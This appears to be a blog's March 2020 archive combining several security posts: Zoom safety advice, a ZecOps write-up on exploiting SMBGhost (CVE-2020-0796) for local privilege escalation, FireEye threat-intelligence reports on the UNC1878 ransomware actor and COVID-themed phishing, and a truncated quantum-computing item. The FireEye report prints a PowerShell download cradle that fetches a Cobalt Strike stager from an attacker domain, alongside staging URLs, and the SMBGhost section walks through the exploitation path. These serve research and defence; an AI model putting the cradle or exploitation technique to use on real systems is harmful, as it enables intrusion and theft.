Monthly Archives: March 2020

How Safe are Video Messaging Apps such as Zoom?

I was privileged to be part of The Telegraph Coronavirus Podcast today, where I was asked about the security of video messaging apps.



'How safe are video messaging apps such as Zoom, and what should users bear in mind when using them?'

My reply...
Video messaging apps are an essential communication tool for at home and within businesses, especially during the COVID-19 lockdown period. They are generally safe to use but there are a few security risks which users should be aware of.

Our increased use of video messaging apps has not gone unnoticed by cybercriminals, who are seeking to exploit the increase of use by sending phishing emails, social media scam messages and even scam text messages, with fake invitations to video messaging app meetings.

Typically, these scam messages will entice you into either opening a malicious attachment or click a web link which directs to a malicious website. The ultimate aim of these cyberattacks is to deliver malicious software, such as ransomware which locks your PC and demands a ransom payment to unlock, scam a payment, or steal your personal information which can be resold to other cybercriminals on the dark web.

So, never open an attachment or click on any links within any unexpected or suspicious emails, social media messages and text messages.

The next piece of advice is to ensure your video messaging app is always kept up-to-date. Luckily most modern smartphones and computer operating systems will automatically update your apps, but it is always worth double-checking and not to suppress any app updates from occurring, as often the app updates are fixing security flaws.

And finally, on home computers and laptops, when not using video messaging apps, either cover your webcam with a piece of tape or face your webcam towards a wall or ceiling, just in case your computer is covertly compromised and a malicious actor gains access to your computer's webcam.


Additional
One tip I didn't have time to say on the podcast, is always ensure your video chats are set to private, using a strong password to prevent ZoomBombingRecent reportshave shown a series of “Zoombombing” incidents lately, where unwanted guests have joined in on open calls. 

Bharat Mistry, Principal Security Strategist at Trend Micro on Zoom advises “Although not alone in being targeted, Zoom has been the subject of some of the highest-profile incidents so far this year. Fortunately, there are things you can do to keep your business safe.

It’s all about taking advantage of unsecure settings in the app, (and possibly using brute-force tools to crack meeting IDs). With access to a meeting, hackers could harvest highly sensitive and/or market-critical corporate information, or even spread malware via a file transfer feature.

Hackers know users are looking en masse for ways to communicate during government lockdowns. By creating legitimate-looking Zoom links and websites, they could steal financial details, spread malware or harvest Zoom ID numbers, allowing them to infiltrate virtual meetings. One vendor discovered 2,000 new domains had been registered in March alone, over two-thirds of the total for the year so far.

Risk mitigation:
The good news is that there are several things you can do to mitigate the security risks associated with Zoom. The most basic are: 
  • Ensure Zoom is always on the latest software version
  • Build awareness of Zoom phishing scams into user training programmes. Users should only download the Zoom client from a trusted site and check for anything suspicious in the meeting URL when joining a meeting
  • Ensure all home workers have anti-malware including phishing detection installed from a reputable vendor
Organisational preparedness:
Next, it’s important to revisit those administrative settings in the app, to reduce the opportunities for hackers and Zoombombers. Fortunately, automatically generated passwords are now switched on by default, and the use of personal meeting IDs are switched off, meaning Zoom will create a random, one-off ID for each meeting. These setting should be kept as is. But organisations can do more, including:
  • Ensure you also generate a meeting ID automatically for recurring meetings
  • Set screen-sharing to “host only” to prevent uninvited guests from sharing disruptive content
  • Don’t share any meeting IDs online
  • Disable “file transfers” to mitigate risk of malware
  • Make sure that only authenticated users can join meetings
  • Lock the meeting once it’s started to prevent anyone new joining
  • Use waiting room feature, so the host can only allow attendees from a pre-assigned register
  • Play a sound when someone enters or leaves the room
  • Allow host to put attendees on hold, temporarily removing them from a meeting if necessary”

Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC

Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC

Introduction

CVE-2020-0796 is a bug in the compression mechanism of SMBv3.1.1, also known as “SMBGhost”. The bug affects Windows 10 versions 1903 and 1909, and it was announced and patched by Microsoft about three weeks ago. Once we heard about it, we skimmed over the details and created a quick POC (proof of concept) that demonstrates how the bug can be triggered remotely, without authentication, by causing a BSOD (Blue Screen of Death). A couple of days ago we returned to this bug for more than just a remote DoS. The Microsoft Security Advisory describes the bug as a remote code execution (RCE) vulnerability, but there is no public POC that demonstrates RCE through this bug.

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

Initial Analysis

The bug is an integer overflow bug that happens in the Srv2DecompressData function in the srv2.sys SMB server driver. Here’s a simplified version of the function, with the irrelevant details omitted:

typedef struct _COMPRESSION_TRANSFORM_HEADER
{
    ULONG ProtocolId;
    ULONG OriginalCompressedSegmentSize;
    USHORT CompressionAlgorithm;
    USHORT Flags;
    ULONG Offset;
} COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;

typedef struct _ALLOCATION_HEADER
{
    // ...
    PVOID UserBuffer;
    // ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;

NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
    PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
        (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
        NULL);
    If (!Alloc) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    ULONG FinalCompressedSize = 0;

    NTSTATUS Status = SmbCompressionDecompress(
        Header->CompressionAlgorithm,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
        (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
        (PUCHAR)Alloc->UserBuffer + Header->Offset,
        Header->OriginalCompressedSegmentSize,
        &FinalCompressedSize);
    if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
        SrvNetFreeBuffer(Alloc);
        return STATUS_BAD_DATA;
    }

    if (Header->Offset > 0) {
        memcpy(
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
    }

    Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
    return STATUS_SUCCESS;
}

The Srv2DecompressData function receives the compressed message which is sent by the client, allocates the required amount of memory, and decompresses the data. Then, if the Offset field is not zero it copies the data that is placed before the compressed data as is to the beginning of the allocated buffer.

If we look carefully, we can notice that lines 20 and 31 can lead to an integer overflow for certain inputs. For example, most POCs that appeared shortly after the bug publication and crashed the system just used the 0xFFFFFFFF value for the Offset field. Using the value 0xFFFFFFFF triggers an integer overflow on line 20, and as a result less bytes are allocated.

Later, it triggers an additional integer overflow on line 31. The crash happens due to a memory access at the address calculated in line 30, far away from the received message. If the code verified the calculation at line 31, it would bail out early since the buffer length happens to be negative and cannot be represented, and that makes the address itself on line 30 invalid as well.

Choosing what to overflow

There are only two relevant fields that we can control to cause an integer overflow: OriginalCompressedSegmentSize and Offset, so there aren’t that many options. After trying several combinations, the following combination caught our eye: what if we send a legit Offset value and a huge OriginalCompressedSegmentSize value? Let’s go over the three steps the code is going to execute:

  1. Allocate: The amount of allocated bytes will be smaller than the sum of both fields due to the integer overflow.
  2. Decompress: The decompression will receive a huge OriginalCompressedSegmentSize value, treating the target buffer as practically having limitless size. All other parameters are unaffected thus it will work as expected.
  3. Copy: If it’s ever going to be executed (will it?), the copy will work as expected.

Whether or not the Copy step is going to be executed, it already looks interesting – we can trigger an out of bounds write on the Decompress stage since we managed to allocate less bytes then necessary on the Allocate stage.

As you can see, using this technique we can trigger an overflow of any size and content, which is a great start. But what is located beyond our buffer? Let’s find out!

Diving into SrvNetAllocateBuffer

To answer this question, we need to look at the allocation function, in our case SrvNetAllocateBuffer. Here is the interesting part of the function:

PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
    // ...

    if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
        if (AllocSize > 0x1000100) {
            return NULL;
        }
        Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
    } else {
        int LookasideListIndex = 0;
        if (AllocSize > 0x1100) {
            LookasideListIndex = /* some calculation based on AllocSize */;
        }

        SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
        Result = /* fetch result from list */;
    }

    // Initialize some Result fields...

    return Result;
}

We can see that the allocation function does different things depending on the required amount of bytes. Large allocations (larger than about 16 MB) just fail. Medium allocations (larger than about 1 MB) use the SrvNetAllocateBufferFromPool function for the allocation. Small allocations (the rest) use lookaside lists for optimization.

Note: There’s also the SrvDisableNetBufferLookAsideList flag which can affect the functionality of the function, but it’s set by an undocumented registry setting and is disabled by default, so it’s not very interesting.

Lookaside lists are used for effectively reserving a set of reusable, fixed-size buffers for the driver. One of the capabilities of lookaside lists is to define a custom allocation/free functions which will be used for managing the buffers. Looking at references for the SrvNetBufferLookasides array, we found that it’s initialized in the SrvNetCreateBufferLookasides function, and by looking at it we learned the following:

  • The custom allocation function is defined as SrvNetBufferLookasideAllocate, which just calls SrvNetAllocateBufferFromPool.
  • 9 lookaside lists are created with the following sizes, as we quickly calculated with Python:
    >>> [hex((1 << (i + 12)) + 256) for i in range(9)]
    [‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]

    It matches our finding that allocations larger than 0x100100 bytes are allocated without using lookaside lists.

The conclusion is that every allocation request ends up in the SrvNetAllocateBufferFromPool function, so let’s take a look at it.

SrvNetAllocateBufferFromPool and the allocated buffer layout

The SrvNetAllocateBufferFromPool function allocates a buffer in the NonPagedPoolNx pool using the ExAllocatePoolWithTag function, and then fills some of the structures with data. The layout of the allocated buffer is the following:

The only relevant parts of this layout for the scope of our research are the user buffer and the ALLOCATION_HEADER struct. We can see right away that by overflowing the user buffer, we end up overriding the ALLOCATION_HEADER struct. Looks very convenient.

Overriding the ALLOCATION_HEADER struct

Our first thought at this point was that due to the check that follows the SmbCompressionDecompress call:

if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}

SrvNetFreeBuffer will be called and the function will fail, since we crafted OriginalCompressedSegmentSize to be a huge number, and FinalCompressedSize is going to be a smaller number which represents the actual amount of decompressed bytes. So we analyzed the SrvNetFreeBuffer function, managed to replace the allocation pointer to a magic number, and waited for the free function to try and free it, hoping to leverage it later for use-after-free or similar. But to our surprise, we got a crash in the memcpy function. That has made us happy, since we didn’t hope to get there at all, but we had to check why it happened. The explanation can be found in the implementation of the SmbCompressionDecompress function:

NTSTATUS SmbCompressionDecompress(
    USHORT CompressionAlgorithm,
    PUCHAR UncompressedBuffer,
    ULONG  UncompressedBufferSize,
    PUCHAR CompressedBuffer,
    ULONG  CompressedBufferSize,
    PULONG FinalCompressedSize)
{
    // ...

    NTSTATUS Status = RtlDecompressBufferEx2(
        ...,
        FinalUncompressedSize,
        ...);
    if (Status >= 0) {
        *FinalCompressedSize = CompressedBufferSize;
    }

    // ...

    return Status;
}

Basically, if the decompression succeeds, FinalCompressedSize is updated to hold the value of CompressedBufferSize, which is the size of the buffer. This deliberate update of the FinalCompressedSize return value seemed quite suspicious for us, since this little detail, together with the allocated buffer layout, allows for a very convenient exploitation of this bug.

Since the execution continues to the stage of copying the raw data, let’s review the call once again:

memcpy(
    Alloc->UserBuffer,
    (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
    Header->Offset);

The target address is read from the ALLOCATION_HEADER struct, the one that we can override. The content and the size of the buffer are controlled by us as well. Jackpot! Write-what-where in the kernel, remotely!

Remote write-what-where implementation

We did a quick implementation of a Write-What-Where CVE-2020-0796 Exploit in Python, which is based on the CVE-2020-0796 DoS POC of maxpl0it. The code is fairly short and straightforward.

Local Privilege Escalation

Now that we have the write-what-where exploit, what can we do with it? Obviously we can crash the system. We might be able to trigger remote code execution, but we didn’t find a way to do that yet. If we use the exploit on localhost and leak additional information, we can use it for local privilege escalation, as it was already demonstrated to be possible via several techniques.

The first technique we tried was proposed by Morten Schenk in his Black Hat USA 2017 talk. The technique involves overriding a function pointer in the .data section of the win32kbase.sys driver, and then calling the appropriate function from user mode to gain code execution. j00ru wrote a great writeup about using this technique in WCTF 2018, and provided his exploit source code. We adjusted it for our write-what-where exploit, but found out that it doesn’t work since the thread that handles the SMB messages is not a GUI thread. Due to this, win32kbase.sys is not mapped, and the technique is not relevant (unless there’s a way to make it a GUI thread, something we didn’t research).

We ended up using the well known technique covered by cesarcer in 2012 in his Black Hat presentation Easy Local Windows Kernel Exploitation. The technique is about leaking the current process token address by using the NtQuerySystemInformation(SystemHandleInformation) API, and then overriding it, granting the current process token privileges that can then be used for privilege escalation. The Abusing Token Privileges For EoP research by Bryan Alexander (dronesec) and Stephen Breen (breenmachine) (2017) demonstrates several ways of using various token privileges for privilege escalation.

We based our exploit on the code that Alexandre Beaulieu kindly shared in his Exploiting an Arbitrary Write to Escalate Privileges writeup. We completed the privilege escalation after modifying our process’ token privileges by injecting a DLL into winlogon.exe. The DLL’s whole purpose is to launch a privileged instance of cmd.exe. Our complete Local Privilege Escalation Proof of Concept can be found here and is available for research / defensive purposes only.

Summary

We managed to demonstrate that the CVE-2020-0796 vulnerability can be exploited for local privilege escalation. Note that our exploit is limited for medium integrity level, since it relies on API calls that are unavailable in a lower integrity level. Can we do more than that? Maybe, but it will require more research. There are many other fields that we can override in the allocated buffer, perhaps one of them can help us achieve other interesting things such as remote code execution.

POC Source Code

Remediation

  1. We recommend updating servers and endpoints to the latest Windows version to remediate this vulnerability. If possible, block port 445 until updates are deployed. Regardless of CVE-2020-0796, we recommend enabling host-isolation where possible.
  2. It is possible to disable SMBv3.1.1 compression in order to avoid triggers to this bug, however we recommend to do full update instead if possible.

ZecOps Customers & Partners

ZecOps Digital Forensics and Incident Response (DFIR) customers can detect such exploitation attempts as “CVE-2020-0796” using ZecOps agentless solution: Neutrino for Servers and Endpoints. To try ZecOps technology and see a demo, you can contact us here

Researchers wanted

At ZecOps we’re working on offensive cyber security research for defensive purposes. We are hiring additional researchers & exploit developers in various platforms including iOS and Windows. If you are interested, contact us here.

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

It’s Your Money and They Want It Now — The Cycle of Adversary Pursuit

When we discover new intrusions, we ask ourselves questions that will help us understand the totality of the activity set.

How common is this activity? Is there anything unique or special about this malware or campaign? What is new and what is old in terms of TTPs or infrastructure? Is this being seen anywhere else? What information do I have that substantiates the nature of this threat actor?

To track a fast-moving adversary over time, we exploit organic intrusion data, pivot to other data sets, and make that knowledge actionable for analysts and incident responders, enabling new discoveries and assessments on the actor. The FireEye Advanced Practices team exists to know more about the adversary than anyone else, and by asking and answering questions such as these, we enable analyst action in security efforts. In this blog post, we highlight how our cycle of identification, expansion, and discovery was used to track a financially motivated actor across FireEye’s global data sets.

Identification

On January 29, 2020, FireEye Managed Defense investigated multiple TRICKBOT deployments against a U.S. based client. Shortly after initial deployment, TRICKBOT’s networkDll module ran the following network reconnaissance commands (Figure 1).

ipconfig /all
net config workstation
net view /all
net view /all /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts

Figure 1: Initial Reconnaissance

Approximately twenty minutes after reconnaissance, the adversary ran a PowerShell command to download and execute a Cobalt Strike HTTPS BEACON stager in memory (Figure 2).

cmd.exe /c powershell.exe -nop –w hidden –c “IEX ((new-object net.webclient).downloadstring(‘hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt’))”

Figure 2: PowerShell download cradle used to request a Cobalt Strike stager

Six minutes later, Managed Defense identified evidence of enumeration and attempted lateral movement through the BEACON implant. Managed Defense alerted the client of the activity and the affected hosts were contained, stopping the intrusion in its tracks. A delta of approximately forty-six minutes between a TRICKBOT infection and attempted lateral movement was highly unusual and, along with the clever masquerade domain, warranted further examination by our team.

Although light, indicators from this intrusion were distinct enough to create an uncategorized threat group, referred to as UNC1878. At the time of initial clustering, UNC1878’s intent was not fully understood due to the rapid containment of the intrusion by Managed Defense. By creating this label, we are able to link activity from the Managed Defense investigation into a single entity, allowing us to expand our understanding of this group and track their activity over time. This is especially important when dealing with campaigns involving mass malware, as it helps delineate the interactive actor from the malware campaign they are leveraging. For more information on our clustering methodology, check out our post about how we analyze, separate, or merge these clusters at scale.

Expansion

Pivoting on the command and control (C2) domain allowed us to begin building a profile of UNC1878 network infrastructure. WHOIS records for cylenceprotect[.]com (Figure 3) revealed that the domain was registered on January 27, 2020, with the registrar "Hosting Concepts B.V. d/b/a Openprovider", less than two days before we saw this domain used in activity impacting the Managed Defense customer.

Domain Name: cylenceprotect.com
Registry Domain ID: 2485487352_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.registrar.eu
Registrar URL: http://www.registrar.eu
Updated Date: 2020-01-28T00:35:43Z
Creation Date: 2020-01-27T23:32:18Z
Registrar Registration Expiration Date: 2021-01-27T23:32:18Z
Registrar: Hosting Concepts B.V. d/b/a Openprovider

Figure 3: WHOIS record for the domain cylenceprotect[.]com

Turning our attention to the server, the domain resolved to 45.76.20.140, an IP address owned by the VPS provider Choopa. In addition, the domain used self-hosted name servers ns1.cylenceprotect[.]com and ns2.cylenceprotect[.]com, which also resolved to the Choopa IP address. Network scan data for the server uncovered a certificate on port 80 and 443, a snippet of which can be seen in Figure 4.

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            03:a8:60:02:c7:dd:7f:88:5f:2d:86:0d:88:41:e5:3e:25:f0
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
        Validity
            Not Before: Jan 28 02:02:14 2020 GMT
            Not After : Apr 27 02:02:14 2020 GMT
        Subject: CN=cylenceprotect[.]com

Figure 4: TLS Certificate for the domain cylenceprotect[.]com

The certificate was issued by Let’s Encrypt, with the earliest validity date within 24 hours of the activity detected by Managed Defense, substantiating the speed in which this threat actor operates. Along with the certificate in Figure 4, we also identified the default generated, self-signed Cobalt Strike certificate (Figure 5) on port 54546 (50050 by default).

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1843990795 (0x6de9110b)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike
        Validity
            Not Before: Jan 28 03:06:30 2020 GMT
            Not After : Apr 27 03:06:30 2020 GMT
        Subject: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike

Figure 5: Default Cobalt Strike TLS Certificate used by UNC1878

Similar to the certificate on port 80 and 443, the earliest validity date was again within 24 hours of the intrusion identified by Managed Defense. Continuing analysis on the server, we acquired the BEACON stager and subsequent BEACON payload, which was configured to use the Amazon malleable C2 profile.

While these indicators may not hold significant weight on their own, together they create a recognizable pattern to fuel proactive discovery of related infrastructure. We began hunting for servers that exhibited the same characteristics as those used by UNC1878. Using third-party scan data, we quickly identified additional servers that matched a preponderance of UNC1878 tradecraft:

  • Domains typically comprised of generic IT or security related terms such as “update”, “system”, and “service”.
  • Domains registered with “Hosting Concepts B.V. d/b/a Openprovider" as early as December 19, 2019.
  • Self-hosted name servers.
  • Let’s Encrypt certificates on port 80.
  • Virtual private servers hosted predominantly by Choopa.
  • BEACON payloads configured with the Amazon malleable C2 profile.
  • Cobalt Strike Teams Servers on non-standard ports.

Along with certificates matching UNC1878 tradecraft, we also found self-signed Armitage certificates, indicating this group may use multiple offensive security tools.

Pivoting on limited indicators extracted from a single Managed Defense intrusion, a small cluster of activity was expanded into a more diverse set of indicators cardinal to UNC1878. While the objective and goal of this threat actor had not yet manifested, the correlation of infrastructure allowed our team to recognize this threat actor’s operations against other customers.

Discovery

With an established modus operandi for UNC1878, our team quickly identified several related intrusions in support of FireEye Mandiant investigations over the next week. Within two days of our initial clustering and expansion of UNC1878 from the original Managed Defense investigation, Mandiant Incident Responders were investigating activity at a U.S. based medical equipment company with several indicators we had previously identified and attributed to UNC1878. Attributed domains, payloads and methodologies provided consultants with a baseline to build detections on, as well as a level of confidence in the actor’s capabilities and speed in which they operate.

Three days later, UNC1878 was identified during another incident response engagement at a restaurant chain. In this engagement, Mandiant consultants found evidence of attempted deployment of RYUK ransomware on hundreds of systems, finally revealing UNC1878’s desired end goal. In the following weeks, we continued to encounter UNC1878 in various phases of their intrusions at several Mandiant Incident Response and Managed Defense customers.

While services data offers us a depth of understanding into these intrusions, we turn to our product telemetry to understand the breadth of activity, getting a better worldview and perspective on the global prevalence of this threat actor. This led to the discovery of an UNC1878 intrusion at a technology company, resulting in Mandiant immediately notifying the affected customer. By correlating multiple UNC1878 intrusions across our services and product customers, it became evident that the targeting was indiscriminate, a common characteristic of opportunistic ransomware campaigns.

Although initially there were unanswered questions surrounding UNC1878’s intent, we were able to provide valuable insights into their capabilities to our consultants and analysts. In turn, the intrusion data gathered during these engagements continued the cycle of building our understanding of UNC1878’s tradecraft, enabling our responders to handle these incidents swiftly in the face of imminent ransomware deployment.

Conclusion

Threat actors continue to use mass malware campaigns to establish footholds into target environments, followed by interactive operations focused on deploying ransomware such as RYUK, DOPPLEPAYMER and MAZE. Looking at the overall trend of intrusions FireEye responds to, the growing shift from traditional PCI theft to ransomware has allowed threat actors such as UNC1878 to widen their scope and increase their tempo, costing organizations millions of dollars due to business disruption and ransom payments. However, apart from their speed, UNC1878 does not stand out among the increasing number of groups following this trend, and should not be the key takeaway of this blog post.

The cycle of analysis and discovery used for UNC1878 lies at the core of our team’s mission to rapidly detect and pursue impactful adversaries at scale. Starting from a singular intrusion at a Managed Defense client, we were able to discover UNC1878 activity at multiple customers. Using our analysis of the early stages of their activity allowed us to pivot and pursue this actor across otherwise unrelated investigations. As we refine and expand our understanding of UNC1878’s tradecraft, our team enables Mandiant and Managed Defense to efficiently identify, respond to, and eradicate a financially motivated threat actor whose end goal could cripple targeted organizations. The principles applied in pursuit of this actor are crucial to tracking any adversary and are ultimately how the Advanced Practices team surfaces meaningful activity across the FireEye ecosystem.

Acknowledgements

Thank you to Andrew Thompson, Dan Perez, Steve Miller, John Gorman and Brendan McKeague for technical review of this content. In addition, thank you to the frontline responders harvesting valuable intrusion data that enables our research.

Indicators of Compromise

Domains

  • aaatus[.]com
  • avrenew[.]com
  • besttus[.]com
  • bigtus[.]com
  • brainschampions[.]com
  • checkwinupdate[.]com
  • ciscocheckapi[.]com
  • cleardefencewin[.]com
  • cmdupdatewin[.]com
  • comssite[.]com
  • conhostservice[.]com
  • cylenceprotect[.]com
  • defenswin[.]com
  • easytus[.]com
  • findtus[.]com
  • firsttus[.]com
  • freeallsafe[.]com
  • freeoldsafe[.]com
  • greattus[.]com
  • havesetup[.]net
  • iexploreservice[.]com
  • jomamba[.]best
  • livecheckpointsrs[.]com
  • livetus[.]com
  • lsassupdate[.]com
  • lsasswininfo[.]com
  • microsoftupdateswin[.]com
  • myservicebooster[.]com
  • myservicebooster[.]net
  • myserviceconnect[.]net
  • myserviceupdater[.]com
  • myyserviceupdater[.]com
  • renovatesystem[.]com
  • service-updater[.]com
  • servicesbooster[.]com
  • servicesbooster[.]org
  • servicesecurity[.]org
  • serviceshelpers[.]com
  • serviceupdates[.]net
  • serviceuphelper[.]com
  • sophosdefence[.]com
  • target-support[.]online
  • taskshedulewin[.]com
  • timesshifts[.]com
  • topsecurityservice[.]net
  • topservicehelper[.]com
  • topservicesbooster[.]com
  • topservicesecurity[.]com
  • topservicesecurity[.]net
  • topservicesecurity[.]org
  • topservicesupdate[.]com
  • topservicesupdates[.]com
  • topserviceupdater[.]com
  • update-wind[.]com
  • updatemanagir[.]us
  • updatewinlsass[.]com
  • updatewinsoftr[.]com
  • web-analysis[.]live
  • windefenceinfo[.]com
  • windefens[.]com
  • winsysteminfo[.]com
  • winsystemupdate[.]com
  • worldtus[.]com
  • yoursuperservice[.]com

IP Addresses

  • 31.7.59.141
  • 45.32.30.162
  • 45.32.130.5
  • 45.32.161.213
  • 45.32.170.9
  • 45.63.8.219
  • 45.63.95.187
  • 45.76.20.140
  • 45.76.167.35
  • 45.76.231.195
  • 45.77.58.172
  • 45.77.89.31
  • 45.77.98.157
  • 45.77.119.212
  • 45.77.153.72
  • 45.77.206.105
  • 63.209.33.131
  • 66.42.97.225
  • 66.42.99.79
  • 79.124.60.117
  • 80.240.18.106
  • 81.17.25.210
  • 95.179.147.215
  • 95.179.210.8
  • 95.179.215.228
  • 96.30.192.141
  • 96.30.193.57
  • 104.156.227.250
  • 104.156.245.0
  • 104.156.250.132
  • 104.156.255.79
  • 104.238.140.239
  • 104.238.190.126
  • 108.61.72.29
  • 108.61.90.90
  • 108.61.176.237
  • 108.61.209.123
  • 108.61.242.184
  • 140.82.5.67
  • 140.82.10.222
  • 140.82.27.146
  • 140.82.60.155
  • 144.202.12.197
  • 144.202.83.4
  • 149.28.15.247
  • 149.28.35.35
  • 149.28.50.31
  • 149.28.55.197
  • 149.28.81.19
  • 149.28.113.9
  • 149.28.122.130
  • 149.28.246.25
  • 149.248.5.240
  • 149.248.56.113
  • 149.248.58.11
  • 151.106.56.223
  • 155.138.135.182
  • 155.138.214.247
  • 155.138.216.133
  • 155.138.224.221
  • 207.148.8.61
  • 207.148.15.31
  • 207.148.21.17
  • 207.246.67.70
  • 209.222.108.106
  • 209.250.255.172
  • 216.155.157.249
  • 217.69.15.175

BEACON Staging URLs

  • hxxp://104.156.255[.]79:80/avbcbgfyhunjmkmk
  • hxxp://149.28.50[.]31:80/adsrxdfcffdxfdsgfxzxds
  • hxxp://149.28.81[.]19:80/ajdlkashduiqwhuyeu12312g3yugshdahqjwgye1g2uy31u1
  • hxxp://45.32.161[.]213:80/ephfusaybuzabegaexbkakskjfgksajgbgfckskfnrdgnkhdsnkghdrngkhrsngrhgcngyggfxbgufgenwfxwgfeuyenfgx
  • hxxp://45.63.8[.]219:80/ajhgfrtyujhytr567uhgfrt6y789ijhg
  • hxxp://66.42.97[.]225:80/aqedfy345yu9876red45f6g78j90
  • hxxp://findtus[.]com/akkhujhbjcjcjhufuuljlvu
  • hxxp://thedemocraticpost[.]com/kflmgkkjdfkmkfl
  • hxxps://brainschampions[.]com:443/atrsgrtehgsetrh5ge
  • hxxps://ciscocheckapi[.]com:80/adsgsergesrtvfdvsa
  • hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt
  • hxxps://havesetup[.]net/afgthyjuhtgrfety
  • hxxps://servicesbooster[.]org:443/sfer4f54
  • hxxps://servicesecurity[.]org:443/fuhvbjk
  • hxxps://timesshifts[.]com:443/akjhtyrdtfyguhiugyft
  • hxxps://timesshifts[.]com:443/ry56rt6yh5rth
  • hxxps://update-wind[.]com/aergerhgrhgeradgerg
  • hxxps://updatemanagir[.]us:80/afvSfaewfsdZFAesf

To Tune Up Your Quantum Computer, Better Call an AI Mechanic

A high-end race car engine needs all its components tuned and working together precisely to deliver top-quality performance. The same can be said about the processor inside a quantum computer, whose delicate bits must be adjusted in just the right way before it can perform a calculation. Who’s the right mechanic for this quantum tuneup job? According to a team that includes scientists at the National Institute of Standards and Technology (NIST), it’s an artificial intelligence, that’s who. The team’s paper in the journal Physical Review Applied outlines a way to teach an AI to make an

Social Engineering Based on Stimulus Bill and COVID-19 Financial Compensation Schemes Expected to Grow in Coming Weeks

Given the community interest and media coverage surrounding the economic stimulus bill currently being considered by the United States House of Representatives, we anticipate attackers will increasingly leverage lures tailored to the new stimulus bill and related recovery efforts such as stimulus checks, unemployment compensation and small business loans. Although campaigns employing themes relevant to these matters are only beginning to be adopted by threat actors, we expect future campaigns—primarily those perpetrated by financially motivated threat actors—to incorporate these themes in proportion to the media’s coverage of these topics.

Threat actors with varying motivations are actively exploiting the current pandemic and public fear of the coronavirus and COVID-19. This is consistent with our expectations; malicious actors are typically quick to adapt their social engineering lures to exploit major flashpoints along with other recurrent events (e.g. holidays, Olympics). Security researchers at FireEye and in the broader community have already begun to identify and report on COVID-19 themed campaigns with grant, payment, or economic recovered themed emails and attachments.

Example Malware Distribution Campaign

On March 18, individuals at corporations across a broad set of industries and geographies received emails with the subject line “COVID-19 Payment” intended to distribute the SILENTNIGHT banking malware (also referred to by others as Zloader). Despite the campaign’s broad distribution, a plurality of associated messages were sent to organizations based in Canada. Interestingly, although the content of these emails was somewhat generic, they were sometimes customized to reference a payment made in currency relevant to the recipient’s geography and contextually relevant government officials (Figure 1 and Figure 2). These emails were sent from a large pool of different @gmx.com email addresses and had password protected Microsoft Word document attachments using the file name “COVID 19 Relief.doc” (Figure 3). The emails appear to be auto generated and follow the format <name>.<name><SevenNumberString>@gmx.com. When these documents were opened and macros enabled, they would drop and execute a .JSE script crafted to download and execute an instance of SILENTNIGHT from http://209.141.54[.]161/crypt18.dll.

An analyzed sample of SILENTNIGHT downloaded from this URL had an MD5 hash of 9e616a1757cf1d40689f34d867dd742e, employed the RC4 key 'q23Cud3xsNf3', and was associated with the SILENTNIGHT botnet 'PLSPAM'. This botnet has been seen loading configuration files containing primarily U.S.- and Canada financial institution webinject targets. Furthermore, this sample was configured to connect to the following controller infrastructure:

  • http://marchadvertisingnetwork4[.]com/post.php
  • http://marchadvertisingnetwork5[.]com/post.php
  • http://marchadvertisingnetwork6[.]com/post.php
  • http://marchadvertisingnetwork7[.]com/post.php
  • http://marchadvertisingnetwork8[.]com/post.php
  • http://marchadvertisingnetwork9[.]com/post.php
  • http://marchadvertisingnetwork10[.]com/post.php


Figure 1: Example lure using CAD


Figure 2: Example lure using AUD


Figure 3: Malicious Word document

Example Phishing Campaign

Individuals at financial services organizations in the United States were sent emails with the subject line “Internal Guidance for Businesses Grant and loans in response to respond to COVID-19” (Figure 4). These emails had OpenDocument Presentation (.ODP) format attachments that, when opened in Microsoft PowerPoint or OpenOffice Impress, display a U.S. Small Business Administration (SBA) themed message (Figure 5) and an in-line link that redirects to an Office 365 phishing kit (Figure 6) hosted at https://tyuy56df-kind-giraffe-ok.mybluemix[.]net/.


Figure 4: Email lure referencing business grants and loans


Figure 5: SBA-themed message


Figure 6: Office 365 phishing page

Implications

